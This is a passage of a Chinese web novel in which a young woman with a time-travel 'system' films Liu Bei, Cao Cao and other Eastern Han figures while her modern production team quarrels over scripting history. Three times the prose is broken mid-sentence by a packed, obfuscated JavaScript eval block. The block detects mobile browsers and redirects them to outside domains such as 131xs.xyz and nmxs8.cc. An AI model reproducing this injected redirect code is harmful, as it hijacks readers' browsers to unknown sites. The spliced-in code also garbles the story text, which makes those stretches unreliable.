刘备看着她紧皱的眉头,说:“既都不是,你是觉得……”他沉思斟酌了一下用词,“因自己寻常,非豪杰英俊,无可往来之义,唯有相与之利,他人言行必为求利?” “……”李诗筠顿悟,用现代的话来说就是三个字,配得感。 似乎非得是什么史书人物才能心安理得接受这份好心,由衷夸一句仁德。当仁德落到自己不知名小人物身上时,便以自己手中利益来衡量…… 哦不……自己在小瞧刘备的同时,原来也小看了自己。 刘备见她盯着摄像机不说话,又问:“今日我等虽能配合,今后却未必。何况天下大乱,形势瞬息万变,你这工作终有一日难以交差。” 毕竟是毕业还没踏入社会就被绑了系统的年轻人,不曾受过社会的毒打,在东汉这些年又倍受尊敬,以为手里捏着诸侯们小时候的黑料就能一帆风顺,如今想来真是天真。 刘备能反将一军,其他人自然也能,一个个反而以不配合为要挟,这个项目,难之又难。 “……”李诗筠沉默了。 刘备又说:“你读书多年,可有自己的抱负?” 李诗筠摇头,后世学子都是被推着走,极少能有对自己一生明确规划者,她因喜爱历史便选了历史专业,读了两年才知道将来就业困难,读完四年站在校门口的那一刻,她只剩迷茫。 系统的出现给了她一个目标,恰好自己也喜欢,她想借这便利得人间名利,于是应下,有了现在之事,可似乎,的确也不是自己认准的事。 看出她眼中犹豫,刘备翻身上马,看向远处风沙吹拂的大地,说:“你从千年后来,记录当世之人的功绩,掩于镜头之后,岂不是失了自己的志向?” 他又看向早上缓缓升起的太阳,朝阳,朝阳,朝气蓬勃每一刻都是向上攀升的太阳。 “天下大乱,州郡各有想法,被拍摄者可能是逆贼,可能是良才,究竟谁是英雄,会是奸佞。大厦之将倾,需有识之士力挽狂澜于不倒……” 刘备看向李诗筠,微微俯身伸过手来,问:“阁下先知,方是最佳人选,你可愿……共同匡扶汉室?” 此刹那定格,朝阳就在他身后升起,背着阳光反而使得看不清他面容。一起匡扶汉室!真是伟大的事业呀!! 似乎刘备代表的不是刘备,而是这个平行世界,邀请一个先知者完全介入去改变…… 这一刻,李诗筠彻底动摇了自己的名利想法,比起将自己的名字印在片头流传,在另一个世界名垂千古具有更大的诱惑。 她缓缓将手递过去,像着了魔一般无法拒绝,用自己的先知优势去创造自己的成就…… “我……我……” 边上关羽也出声鼓励,说:“黄巾猖獗,百姓民不聊生,倘若阁下相助,早日除却黄巾逆贼,岂不是天下也早些太平?” 听到黄巾逆贼四个字,李诗筠被热血冲昏的头脑清醒了过来。 她倏地将手抽回,说:“天下之乱,岂是黄巾导致?分明……”她立刻止声没再说下去。 李诗筠将摄像机扛在肩上,看向三人道别说:“你们走你们想走的路,我,得走‘原来’的路。” 系统有必拍镜头的要求,就绕不过它的监管,一旦拍摄内容不符合要求,项目出了错,就是她这个绑定者的错。倒是不至于被抹杀丧命,解绑则是必然,就失去了亲眼见证历史另一种可能的机会。 嗷嗷待哺的历史专家们也缺少了一个丰富的考古宝藏库。 所以,想要见证历史的另一种可能,就得乖乖地听系统去拍“原本的故事”,弄虚作假,骗过系统,同时交出一份优秀的作业给国家。 目前为止,大方向是没有变化的,只有一些细节上误差。但蝴蝶效应,在乱世轻轻煽动翅膀,就能造成极大的差别,尤其是一些意外。 万一黄祖部下瞄准孙坚的箭,偏了。 万一杀死庞统的流矢,也偏了。 一想到这些可能,她很激动:历史的另一种可能不就有了吗! 同时也很苦难:万一真出现了,要怎么才能拍成还原的。 “我……”现在后悔让他们自由发挥不跟剧本走还来得及吗?后悔也没用,威胁不了一点。 话说各走各路,自然没有再劝说的道理,时间差距导致的代沟相当大。刘关张三人道一声珍重,便扭过马头奔向远方。 刘备琢磨着那句天下之乱岂是黄巾导致, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357113|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明后世对黄巾的评价绝对是正面的。不是黄巾导致,那是什么呢……他看向路边枯槁被扒了树皮的书,看到一些逃难路过的流民,心中隐隐有答案。 李诗筠拍完他们远去的镜头便结束了拍摄,独站在县城外冷风一吹,头脑更冷静了许多。 突然意识到自己刚才差点被东汉魅魔给拐跑了! 诶不是??自己这个21世纪受反封建教育的大学生,怎么能被蛊惑到要扔下摄像机去匡扶汉室啊!恐怖如斯啊大宝备…… 难怪后来一把年纪了还能让帅小伙诸葛亮死心塌地,她这个未来人都扛不住啊。 念及此,好吧,你想拐我,我去给你加点难度。 不不不,也不是加难度,毕竟现在故事的走向和“原本”是一样的,犯不着提前给自己上难度。 只是去找小诸葛劝学一句:有诚心的人,一而再再而三都不算考验,只有九九归一,才是考验! 让刘备九顾茅庐,但她只拍三次,嘿嘿。 在出发去找小诸葛之前,李诗筠先打开了同步通讯,将拍完的【桃园结义】所有镜头都传到了笔记本电脑上。 耳机里很快就传来摄影棚里悉悉索索的声音,因长时间断联,不少项目成员都休息去了,留了没事情做的后期组在。 >“哎哟天呐,可算有你消息了,制片人。” 李诗筠面色不改,说:“哦,东汉的网有点差。” 后期组长打开电脑里的新视频文件,有些激动,说:“这次镜头多,应该能剪个三分之一,精细一点的话半集。” 李诗筠琢磨着按照现在的想法,要怎么在剧情变化的前提下,说服诸侯一起造假,而且,还不能像这次一样闹得不愉快,得让他们高高兴兴地造假。 威胁肯定是威胁不到的,利诱的话,后世的纸币硬币和金币相比,完全没有任何优势捏。 后世…… 有主意了!利诱就是可以看到后世,体验后世的科技。 不是摄影棚那个特殊空间一方小天地,而是指,网络。 在不干预他们自身选择的前提下,又能窥探到千年之后的世界样貌,又能通过配合演戏知道自己原本的发展,多好的事情呀! 没有人能拒绝!没有!! “麻烦你们后期了,你跟领导反应一下,试播集短一点也没事,能不能给演员们先接点通告。” >“啊?” 后期组长直接懵了,商务组那边虽然是有谈赞助的想法,顶天了也就是类似让曹操头痛的时候吃个布落芬做广告,怎么可能给古人接通告,时空差异的影响问题还没解决呢,他们去后世,不会氧化成干尸吗? >“我一来就听到了什么?小李同志,你这想法太危险了!” 声音有点耳熟,可能是某个历史教授。 李诗筠问:“教授,你难道不想和曹刘孙或者任何一个古人,直接对话?来个历史问答之类的?” >“……” >“好!我去找领导谈!” 后期组长更懵了,过了一会儿说: >“那你好歹把曹操孙权也拍一点,试播只有一家的话,不太好宣传。” “放心,我这就出发。”李诗筠看了看系统面板,为了进度只能先暂缓【东汉生活vlog诸葛亮篇】,先去拍第三幕。 9.开个小会 李诗筠断开连接有点久,让项目领导有些担心。 在重新有她消息之后,项目领导和各组组长也都快速到会议室集合,看屏幕上的她像是要去拍下一个场景,连忙叫住她。 特意过来的领导发话了,说:“李诗筠,先回来一趟,开个会。” 开会!李诗筠深吸一口气,单听着都感觉充满了班味。 会把她这个系统拥有者叫过去开会,说明是有什么重大事件。她应下,直接就回到了摄影棚里,不必像古人们或者项目成员们那样走门。 项目领导是个六十多岁戴一副细框眼镜的瘦子,笑起来眼睛就跟一条缝一样,挺亲和的,也有点城府的感觉。 项目领导既不是影视圈的人,也不是历史圈的教授,是向上对接的关键人物,也是负责剧组外一切事物的人,所以大多数时候都不在摄影棚里,这里还是以剧组成员为主。 “不是什么大事,不要有压力,啊。”项目领导笑着说,把会议室内的导演组几个骨干也叫了出来,然后和李诗筠一起去了单独的办公室。 “我听值班的人说起,开工这两天拍摄好像不太顺利?”领导笑着看向李诗筠,先是安慰两句,“你一个人要做一个剧组的活,的确是难了点。”然后开始讲问题,“大家要互相理解嘛,这么大的项目,又是刚开工,少不得磨合磨合的。” 接着又说:“科研部那边有了一点进展。” 李诗筠眼前一亮,如果科研部那边能找到规避穿越风险的办法,剧组的专业摄像师、打光师、收音师和诸多器械就能都带过去了,拍摄出来的效果肯定是比她现在单独摄像机要好。 尤其一些后期剪辑成片的时候,需要近景远景特写切换,单机位除非反复拍几遍,否则达不到效果。 “挺好的,但是……”李诗筠很犹豫,影视拍摄的专业团队,肯定都是根据“剧本”工作的。 她看向导演组,来了三个人,分别是导演、编剧和摄像师。 导演是国际知名的大导演,拿过国内外不少的奖项,在演艺圈的资源也是顶尖中的顶尖。竞标这次项目完全就是“不可能别人来做这件事”的心态,以为能凭借资历地位掌握第一话语权,第二也行,谁不得给他个面子。 编剧和摄像师都是他惯用的,都是横扫过各种金奖的,编剧的台词犀利辞藻华美,摄像师精通一切拍摄技巧有质感,构图美丽。 反正,比制片人是拍得要好。 一想到第二幕重头戏桃园结义,拍得潦潦草草,镜头语言更是微乎其微,反而拍些不重要的镜头,浪费系统!暴殄天物!要不是系统是她的,直接就把她开除了! 导演冷哼一声说:“领导,你也知道的,这个项目太大,横跨时间之久,其中涉及到的人员调度统筹,我实话实说,绝对不是她能办到的。目前我搭建了四个组待命,共计一百多工作人员,安排去不同阵营跟拍,追求最佳效果,她有这个管理经验吗?剧本就是竞标时的那一份,各组组长和教授们是认可的,能保证90%还原历史。” 还原历史,这正是李诗筠现在纠结的点。 她问:“如果遇到不还原的事情呢?比如说,何进没听袁绍的话,没请董卓进京,这种,怎么办?” 导演轻蔑地嗤笑一声,想到昨天她掐断同步前的事情,像是被古人一番言语就动摇了立场。唉,就说她年轻吧,分不清个根本,担下这么大的项目,要是还把古人当祖宗,那不如供起来好了。 既然定下了项目,开拍了,那他们就都是演员!演员,就得听导演的。 他纵横演艺圈多少年,再大腕的明星都得给他面子,何况是已经死掉的古人。 “呵呵,优柔寡断,这事就不可能有第二条路。你,还有那些老教授,就是不知道把演员当演员,他们要是有别的想法,我们能活吗?何进要是不请董卓,当然是我们剧组去请!” 这份工作态度,领导很满意,点点头嗯了声。 李诗筠撇嘴,心里升起些固执来,说:“优柔寡断?那我现在就改主意,我这项目不按剧本拍!全实拍,哪怕刘备要卖一辈子草鞋,孙坚卖一辈子甜瓜,也就那么拍。” 笑着准备调解矛盾的领导一下子收住了笑容,说:“这可不行。” 历史如果出现重大变化,按照时间悖论,后面的朝代都要受到影响,越后面影响越大,身在现代的他们可能会全都消失。 当初能接受她开出的所有条件合作,也是有这个顾虑,她一个人在东汉乱窜没关系,把历史窜乱了可就遭了,所以表面上是合作拍剧,实际是监督她别搞事。 以拍剧的名义,把历史正常捋一遍,顺便考古,顺便拍下来当电视剧,保全现代人是第一要义,拍剧这种事往后靠靠。 李诗筠欲言又止,隐瞒平行世界这事是她不厚道,一时贪心,既想要白嫖国家资源协助她完成正剧向《三国》的拍摄,名利双手。又想私下干预,弥补一些小遗憾。 她还没说,但项目领导从她的表情上已经猜到。 “哦……”领导看脸上浮现出古怪的笑,“不影响?哦对……你都拍了那么久了,正常不可能没影响……”之后又陷入了沉思,眼中光芒闪动,不知道是想到了什么。 导演听到不影响,先是不信,随后也琢磨出一点情况,仍旧不屑说:“制片人,你年纪还小,对三国这种历史题材的东西过于表面肤浅。如果不按照大多数人知道的‘历史故事’去拍,你觉得观众买账吗?展现出来的故事,还是三国吗?那可就不是实拍,而是魔改了。” “既定的故事拍摄影视,不差这一部。”李诗筠反驳说,“魔改?那我问你,如果关羽收住了荆州,刘备没有发动夷陵之战,稳扎稳打,好好教育刘禅,总之,匡扶汉室了,算魔改吗?” 导演沉默了一下,算,又不算,对观众来说是一种对遗憾被弥补的寄托。 李诗筠又说:“如果赤壁之战曹军阵营没有大瘟疫,那天不是东南风,曹操一统天下了,算魔改吗?” “……”算,也不算,虽然普通观众面没有刘备阵营那么多,但同样是一种弥补遗憾。 李诗筠继续问:“如果江东攻克合肥,沿河道攻入魏国,先统南北再吞西蜀,算魔改吗?” “这当然是魔改,孙权他就不可能攻克合肥!”导演总算找回了底气,大声反驳。 李诗筠:“……” 反正就是这个比喻听不懂吗,为什么要辱我们权仔!可恶! 静静听着争执的项目领导笑了起来,说:“这事,如果真的像你所说的一样,确保我们,我是指这个世界的所有人,不会受到生命威胁,不会出现巨大影响的话……” 停顿了几秒,接着说:“让教授们过来一起开会吧。” 一开始,为了协助拍摄一个“还原”大作,特意邀请了四位术业专攻的历史教授,争取在汉魏蜀吴四方主势力剧情发展上,都能在出现偏差的第一时间拧回来。 “那就听听专家们的意见吧。”导演面上很客气地笑着,这些教授年纪都挺大,自然是接受不了她惊人的想法,铁定站他。 虽说系统是她的,但现在上交合作,中途变卦的话也是很难办的,除非她一辈子躲系统世界里不出来,否则必定被追究责任。 项目领导简单把刚才的争论讲了讲,以及关于项目方向的变更可能。 岂料,这四个老头老太一下子就来了精神,比当时听到要给“穿越拍摄还原历史剧”当顾问还要兴奋。 不给剧本,全看演员……不是!全看历史当事人做出的选择,而这些选择是可以和记载上大相径庭的! “这意思是说,能拍昭烈帝匡扶汉室成功了?” “拍什么刘备,他大器晚成,耽搁我们时间。不如拍袁绍官渡胜利,看看历史怎么发展?” “他性格所致,必败的!我想看曹操赢了赤壁后能不能保持初心当魏文王?” “你们不觉得给刘协剧透,研究正统汉室复兴的可能更有意思吗?” “那个环境剧透了也没用,他能做的事情太少了。我倒是觉得帮刘备留住徐庶,保住庞统,更有研究的价值,这个话题历代就惋惜很久了!” “那为什么不是帮孙权保住孙策周瑜吕蒙鲁肃?” “别吵了,这么研究下去,不就所有人都被剧透了吗?” 其他教授纷纷看过去,说:“哎,这个也可以,我觉得这个课题更牛。” 李诗筠目瞪口呆,原本以为这些老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378924|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教授专家都该是顽固派,誓死捍卫历史不可戏说,哪怕是平行世界,拍出来毕竟是给这个世界的人看的。岂料他们不仅接受良好,想法比她还疯狂。 她只是觉得照本宣读过于把古人当演员,不干预任其发展即便偏差,顶多就是从90%还原历史变成70%。他们这不仅要干预,还要全员剧透,那得乱成啥样呀。 “这……别吧……” “哎呀,小同志,别那么封建保守嘛。正史研究其实咱们这么多年基本是定论了,一些解读,照着常规发展是得不出结论的。薛定谔的猫,对吧。就拿刚才说的,曹操奸雄而不是奸贼为什么,就是因为他年轻时只想当征西将军,权倾朝野说自己只想当周公,那他到底有没有称帝的心思,是真奸雄还是只是粉饰奸诈的说辞,是不是得让他赢下赤壁,看看如此利好情况,是否称帝?” “不行!人家孙权周瑜光明正大以少胜多打赢的,凭什么要改掉用来研究曹操?” 被气到的导演靠在椅子上不说话,他还有最重要的东西,好几个专业影视团队,从拍摄到宣发一条龙,没有人能比他拥有更好的影视资源。 项目领导出声打断几位教授的争论,看向系统拥有者李诗筠,说:“小同志,你觉得呢?提出要完全实拍的是你,尊重人物自身选择,这很好。只不过,把研究课题赋予其中,不也是另外一种剧本吗?” 导演接话,说:“浪费时间的东西我不拍,拍出来观众只会觉得不过是套个名字的古装剧罢了,影响我口碑。岗位是我竞标来的,现在要变更项目,我们组不是过错方,赔偿金……” 尤其是已经组建好待命的四个剧组,加起来可不是一笔小钱。 “……”身无分文的应届毕业生沉默了。 钱倒是次要的,这么大的项目,朝令夕改,难以服众,跟过家家似的,今后的执行也会出问题:万一明天就改主意了,我们先别执行。 导演看了看各位历史专家和项目领导,又说:“小年轻才踏入社会,想一出是一出。手里捏着系统,就该做点有意义的事情,本来不是挺好的嘛?拍当事人出演的正剧,完全是能传世的文化宝藏啊!” 他早就是演艺圈导演top1了,但这些年不少新导演发光发热,不同时代拍的作品会随着时间变动风评,比如他十几年前拍的情涩情节就被批判。 现在的观众根本不懂艺术!他需要一个不管什么时代都不会过气的作品,三国显然很合适。 他非常需要原定的【本尊出演的三国历史正剧】。 历史教授们反而并不在意,人物事迹文字已经弄清楚,真实样貌的话和剧情无关都能看到,还不如做历史可能的研究呢。 李诗筠眉头紧皱,很反感他一句一个年轻人,应届生,从称呼上就想让别人轻视她。 “你们的想法,我都听到了。”项目领导推了推眼镜,说,“李诗筠同志留下,其他人先回去工作吧。” 办公室内安静下来,领导打开水杯喝了一口温水,才开口说。 “这两天如果没有急切镜头会错过的话,就先停工。规避穿越影响的技术有头绪,而且我们需要验证平行世界的事,如果是真的话,你想怎么拍都行。如果不是平行世界,是真实的千年之前,那就必须,只能,扭正了拍。” “怎么拍都行?”李诗筠觉得奇怪,“答应得这么干脆?乱拍的收益未知,按照我们这的历史拍,保底就是佳作。” 领导笑了笑反问:“你知道,拥有一个时间靠前的平行世界意味着什么吗?” 李诗筠认真想了想,大骇道:“不会是要去挖矿偷石油吧?” “……”领导收敛笑容,无奈道,“你眼里,咱们国家是这样的吗?” “当然不是。” “一会我也要去汇报开会。你是系统拥有者,我简单和你说,意味着两个世界的科技,都能得到质变的发展。”领导笑了笑,离开办公室前拍拍她肩膀说,“帮那边的古代华夏,就是帮另一个世界的我们。” “!”李诗筠愣在原地,第一次感受到格局二字的含义。 科研组那边技术突破,确定了规避时空穿越影响的办法,只是刚完成研发,产量不多,第一批跟随穿越的名额只有四个。 10.各方讨逆 自黄巾逆贼揭竿而起,天下大乱,各州郡募兵讨贼,豪强趁机壮大自己,军阀割据出现端倪。 天子被吓得食欲不振,北中郎将卢植已经出发讨贼,觉得不够稳妥,又任何进为大将军,统领兵马。 这一天,休沐在家带娃的曹操也得到了诏书,任他为骑都尉,与左中郎将皇甫嵩前去抵抗颍川的黄巾,他欣然应下,此正是建功报国的时候。他未着急进宫领职谢恩,而是先回到了后院,打算把这个好消息和自己唯一的孩子分享。 “昂儿~”曹操手里挥着诏书,一进后院就先愣住了。 一群陌生人此时正围着小曹昂逗乐。 从衣着服饰来看,便知晓不是这个时代的人,和那位各处游历的记录先知者像是一样的。正想着呢,就在人群里看到了那张熟悉的面孔。 其他几人年龄不一,四个头发花白的老人笑得很是慈祥,拿着手机在院子里到处拍。 墙壁上靠着一根长长的杆子,顶端是一个毛茸茸的圆柱状物件。一块圆形的银色的反光的板子,以及一块黑白相间的板子。 “嘿,瞒瞒。”李诗筠手持系统摄像机,向着门口这边挥挥手。 曹操心下又惊又喜,惊她突如其来别又乱拍乱放,喜她来的时机恰好是自己将要领命出征,拍摄记录下来传世,很是长脸。 然而还没喜悦一秒,就听到一阵惊呼,三个白发苍苍的老头老太就扑了过来,把他当做文物一般仔细端量,只有一个教授面色平常,看上去对他没什么兴趣。 “哎哟哟!这就是曹操?!” “青年曹操,虽然矮了点,但已经很有那种气质了!”这位教授相当过分,贬低曹操身高的同时还拿出一把卷尺衡量真实身高。 “一米六一!一米六一!不是一米六!” 另一位老教授泪眼汪汪的,拉着曹操的衣角不放,时不时叹气一声。 曹操:“……”这都谁?为何初次见面就如此羞辱他? 李诗筠走过来,帮忙介绍说:“这些都是我的同僚,今后跟我一起做拍摄工作。”现阶段的拍摄并不需要百人大团队,名额有限,就只让四位历史教授先一起过来了,让他们兼职一下剧组里的工作。 当初审讯室就认识的章教授,是历史顾问组的组长,干瘦干瘦的一个老头,曹刘孙三家之中偏爱刘备阵营,但本身是研究秦汉历史的。 另外三位教授就更术业专攻了,是主要研究魏/蜀/吴三方历史的专家,也因此有着较为明确的立场偏向。 比如魏超教授,一听名字就知道是曹魏粉,是个精神气挺足的方脸教授,年龄65+的老头,眼镜卡在脸上都有些外扩。 寒舒教授,一听名字就知道季汉粉,年纪同样65+,面色仍旧红润饱满,是常年吃辣的川渝老太太。 吴荪教授,毫无疑问是东吴粉,也是这些教授里最年轻的,45+的中年女人,身上有一种江南人的温婉感。 “哦,既然是李上使的同僚,便请屋内坐吧。”青年曹操还是个忠君爱国的汉臣,有着能够礼贤下士,尊老爱幼的美好品格。不似后期成为丞相之后,就连儒家代表孔融都被他所害。 李诗筠打开摄像机开始拍摄,同步到摄影棚与新安排的导演沟通。 至于那位演艺圈top1的金牌导演,合作并未解除,一是因为高额的赔偿金,她不想让人什么事都没干就白赚。二则因为,那位金牌导演真的真的很想要这个项目。 稍微有点眼界的人都知道,谁能拍【本尊出演的三国正剧】,都能搭上顺风车一起载入影史的!古人们对名垂青史有执念,现代人当然也有。 所以最后商议的让步就是,金牌导演的剧组会通过现实世界招募演员做替身,将不符合剧本的戏份由现代人在影视城完成重拍,然后以剪辑拼接、配音等形式,完成正片,仍旧能达到【本尊出演的三国正剧】的效果。 穿越剧组这边需要做的,就是当“历史剧情”出现的时候拍下来,那时变没变化就不去讨论了,有了镜头可以逐帧修,没有镜头才麻烦。 对方都如此卑微了,李诗筠也不好多说什么,这事确实是自己先不厚道。 而历史专家们在完全实拍的前提下提出一个建议:不完全纵容。 意思是说当历史人物提前死亡,比如说张角那种突然意外,就必须干预抢救,然后放回东汉。 如果到了记载上的死亡时间,却避开了死亡,那么就顺其自然,别去暗杀之类。 但是,如果到了记载的死亡时间,那人还是没能避开,死了,也不能强行施救续命,继续发展。 和摄影棚确定开始拍摄后,李诗筠从系统切换成了直播模式。 这次重新确定了项目方向后,宣发组那边就不再以《穿越到东汉末年拍摄本尊出演的电视剧》为话题了,让人误解只是以穿越为噱头的营销策略,这次是简单四个字: #穿越直播# #东汉实录# #三国片场# “小昂,给镜头前的哥哥姐姐……不对,曾N孙曾N孙女打个招呼。”李诗筠将镜头对着小曹昂,这一年的曹昂年仅八岁,垂髫俏皮,眨巴着大眼睛盯着摄像机。 曹操过来拍了拍曹昂的脑袋,看着李诗筠说:“今年各地多有议论,采访者未必为栋梁。尤其涿郡那位刘玄德,常遭非议,前些年还是九江太守的卢植曾带他到过雒阳,我观玄德非常人也,本初也多有拉拢,却不得回应。” 说完,他又问:“我儿年年少,能得采访,是否也意味着将来能有所作为?” 小曹昂笑了起来,问:“父亲,这些人就是传说中的剧组吗?父亲小时候也是得了采访,所以如今可厉害了。” 随后,他盯着镜头,也如曹操年少时那样立下宏伟的志向:“我曹昂,将来要当个协助父亲征战的副将!”说完他有些粘人地抱着曹操胳膊,格外乖巧地说,“等昂儿长大了,就能保护父亲啦!” 现场的李诗筠和教授们都沉默了,直播间泪目了。 [哦不……] [曹昂:死于197年宛城之战,为保护曹操让出马匹。还有13年可活。] [前面弹幕你有病吧!他还是个孩子啊!] [艹屮艸,刚来就被狠狠捅一刀!!!] [煮波煮波,咱们都能穿越了,你看顺便再剧透一下吧。] 由于拍摄初期,运营组还没有成熟的控评方案,还在测试中,所以李诗筠这边没有开启弹幕悬浮功能,古人自然也看不到。 曹操不知晓未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388489|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,此时听到小曹昂如此懂事笑得很是高兴,将孩子高高举起,询问说:“昂儿,爹得了任命,要去颍川征讨逆贼,你想不想去?” 黄巾贼多为农人流民,是吃不饱快饿死的那些人,在曹操看来这样的队伍不成气候,起初或许是能赢下,但那些人饿久了,稍微有点胜利就容易分裂出一部分想妥协安逸的,是绝对不可能成大事的。 因此觉得是个历练的好机会,昂儿年纪小,直接到前线是不可能,太危险了。可以送到颍川的一些士族家中去小住,只当他历练一趟出远门。 曹操又看了看李诗筠,没记错的话颍川很多人应该都接受过她的采访。只是可惜,颍川士族和袁家的更近,袁家四世三公门庭大,又何止一个颍川士族向往。借这往颍川讨贼的机会,既是为颍川驱逐黄巾,自该记个人情。 小曹昂点头,一口赢下说:“好喔!我要去,父亲,我要去,我也要打贼人!” 曹操将曹昂放下,拉着小手一起到室内接待那四位后世的学究,安排丫鬟去取了浊酒招待,但四位专家一进屋就又是各种拍,各种器具拿在手里就不愿意放下。 李诗筠扛着摄像机到魏教授的边上,镜头对准一个放在角落的儿童玩具,一根简单由竹子制作的竹竿,但在一端用麻布和稻草扎成了马头,便是竹马。 曹操拉着小曹昂窃窃私语,让他去和这些看似长辈的后辈打好关系,争取能多上镜。 “给。”曹昂很听话,伸手将竹马拿起来递给魏教授,说,“这是我的玩具,你要是喜欢的话就送你了。” 魏教授心都要化了,一把年纪了,背过身去呜呜呜地哭。 曹操觉得不对劲,惊恐道:“难道昂儿小小年纪会夭折?!否则为何后世学究如此悲伤?!” “不不不,夭折真不会。”李诗筠赶忙解释。 岂料听到曹操的问题,魏教授哭得更伤心。 [受不了了,能不能播点高兴的!!] [这个没夭折,夭折的是曹冲。] [我跟你们拼了!!] [啊啊啊啊不要这么地狱,主播换个地方播吗,我不行了。] 李诗筠瞄了眼手机上的评论,曹操这边主要是拍一个他得到任命的镜头,表示黄巾之乱,各路英雄豪杰都是由此开始冒头。 传诏书的人已经离开,所以只需要拍一个曹操展开诏书的镜头,很简单也很顺利。 等几位教授各处拍照依依不舍要离开时,李诗筠收到了运营组的消息:“制片人,你直播间稍微互动一下,不要就这样纯直播画面。” 李诗筠没有什么当主播的经验,只能从自己以前看过的一些来琢磨,想了想说:“在线连麦?才艺表演?问答环节?好像都不太合适。” [可以的!!连麦连麦!!] [才艺表演!想看矮脚猫表演才艺!] “这……”按照重新规划后的项目方向,不可以要求古人去做或放弃一件事情,要让他们有自己的选择。选择可以离谱,但不能强求。 于是,李诗筠尝试和曹操沟通,问:“阿瞒,你有没有什么才艺,想给后世展示一下的。” 青年曹操还有些不好意思,但没拒绝,看着镜头说:“我给大家来一首,大风歌吧。” 11.党锢之祸 剧组的各部门组长在和制片人进行了简单的商量后,暂且定下来了拍摄方向。 东汉建宁年间,第二次党锢之祸。需要拍摄宦官干政的镜头,然后是党人们被陷害批捕的镜头。这很简单,朝堂上随便一拍,那些个宦官老嘴叭叭地就没停止过干政。 为了更好的效果,副导演提议可以再拍摄一些宦官私下集会商议陷害朝臣党人的镜头。 宦官们是坏,又不傻,一看到剧组扛着设备要拍摄他们密会,自然是挑好话说,大吐辛苦水,诉说自己不容易。 “哎呀,我等残缺之人侍奉天子,凡事都以天子为先,也是忠臣,岂会残害忠良呢!窦大将军要夺权,我等也是护卫天子呀!那些读书人就更过分了,实事不做,整天品评别人,他们嘴里的好人是好人,他们嘴里的恶人是恶人,天底下岂不是他们说了算?我们也是为天子除害呀!” “嘶……”收音师2号深吸一口气,嘀咕道,“我居然感觉他们说的有道理诶!” 历史顾问瞥一眼,颇为无语道:“善恶是有普世价值能判断的,忠奸也是这样,不要被诡辩带偏了。” “但是……我们不能拍这样的内容上传给系统吧?哪怕是给观众也不接受啊。”副导演眉头紧皱。 李诗筠在片场环视一圈,最终视线落在了剪辑师身上,已经有了主意。 她坐到黄门令王甫对面,一副能理解的表情,说:“你们在宫廷上班是辛苦,不仅要处处顺着天子,还要被朝臣辱骂,谁不是混口饭吃,正所谓人为财死鸟为食亡,多正常啊。哦对了,说到吃的,我这有些后世的零食,你们尝尝看,若是吃得惯,我再给皇帝送点,也算是我们小辈的孝敬。” “哎哟,岂敢岂敢呀。”王甫等人立刻喜笑颜开,一改刚才的畏畏缩缩遮遮掩掩。能尝到后世的点心,如此殊荣,那些朝臣都没有呢!没准他们这些残缺之后,后世风评也没太差,毕竟连李贵使都说能理解他们了! 镜头还在拍摄没有停止,宦官们的一举一动全部拍进来。 李诗筠让后勤申请物品传送过来,不多时,就看到她凭空掏出很多后世的食品。 半熟柠檬、特制青梅、鲱鱼罐头、豆汁儿…… 宦官们再次感谢后世的喜爱,便将这些零食传递品尝,嘶……酸…… 酸得眼睛都睁不开,嘴角扭曲还淌口水,为了保持上镜的好形象又不得不忍着。 鲱鱼罐头一打开就臭得室内所有人都捂住了鼻子,还没从酸味里缓过神来的张让有些恍惚,喃喃道:“后世怎么吃屎啊……” “……”后世众人投去怒视,我们现代人也受不了的! 最后尝到豆汁儿,已经都是小心翼翼,味道之惊天动地,又不好意思吐出来失礼,哪怕一小口都圆瞪双眼艰难咽下。 后世之人的口味如此古怪?千年过去,怎么吃的东西还退化了!和建筑技术、消防手段展现出来的该有的先进,完全不同啊! 后期组的剪辑师时刻盯着预览屏幕,对拍出来的画面非常满意,不少镜头能够“断章取义”,便给制片人比划了个ok的手势。 第一步操作,毫无疑问,静音。 第二步,将酸得斜眼看人、说话时嘴巴都不能闭上还强颜欢笑的镜头截取,表达阴险丑态。 第三步,将双眼圆瞪的表情截取,表示意见有冲突。 第四步,再拼接上捂住口鼻的镜头,表示密谋算计。 最后,再把最先拍的喜笑颜开的镜头拼接,表示对陷害的得意。 哦忘了,还得加个阴间滤镜,降低亮度。 就这样,通过后期高超的剪辑拼接技术,把宦官们品尝后世怪味食品的视频,剪成了阴谋陷害的邪恶嘴脸。 就算不说他们陷害忠良的事,就凭他们辱骂后世之人吃shi,这剪辑不冤吧? 剧组众人纷纷吸气,不仅学新闻的不能得罪,剪辑师更不能得罪…… 拍完镜头,李诗筠就和同事们离开了此地,但鲱鱼罐头留下的气味却久久没有消散。 